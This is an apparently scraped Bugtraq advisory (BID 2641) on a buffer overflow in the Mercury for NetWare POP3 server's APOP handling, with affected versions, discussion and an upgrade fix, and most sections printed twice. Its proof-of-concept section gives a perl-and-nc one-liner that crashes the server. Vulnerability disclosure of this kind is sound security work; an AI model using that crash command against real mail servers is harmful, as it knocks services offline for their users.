Mercury for NetWare Buffer Overflow Vulnerability
BID:2641
Info
Mercury for NetWare Buffer Overflow Vulnerability
| Bugtraq ID: | 2641 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 21 2001 12:00AM |
| Updated: | Apr 21 2001 12:00AM |
| Credit: | Discovered by Przemyslaw Frasunek <[email protected]> and discussed in a post to BugTraq on 21 Apr, 2001. |
| Vulnerable: |
David Harris Mercury/NLM 1.47 David Harris Mercury/NLM 1.46 David Harris Mercury/NLM 1.45 |
| Not Vulnerable: |
David Harris Mercury/NLM 1.48 |
Discussion
Mercury for NetWare Buffer Overflow Vulnerability
Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.
Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot.
Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.
Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot.
Exploit / POC
Mercury for NetWare Buffer Overflow Vulnerability
No exploit is available. However, the following perl code will bring a Mercury MTA host 'mercury_host' down.
perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110
No exploit is available. However, the following perl code will bring a Mercury MTA host 'mercury_host' down.
perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110
Solution / Fix
Mercury for NetWare Buffer Overflow Vulnerability
Solution:
The recommended solution is to upgrade the MTA to version 1.48:
David Harris Mercury/NLM 1.45
David Harris Mercury/NLM 1.46
David Harris Mercury/NLM 1.47
Solution:
The recommended solution is to upgrade the MTA to version 1.48:
David Harris Mercury/NLM 1.45
-
David Harris Pegasus Mail and Mercury MTA Downloads
Download page for NetWare Mercury MTA 1.48
http://www.pmail.com/downloads.htm
David Harris Mercury/NLM 1.46
-
David Harris Pegasus Mail and Mercury MTA Downloads
Download page for NetWare Mercury MTA 1.48
http://www.pmail.com/downloads.htm
David Harris Mercury/NLM 1.47
-
David Harris Pegasus Mail and Mercury MTA Downloads
Download page for NetWare Mercury MTA 1.48
http://www.pmail.com/downloads.htm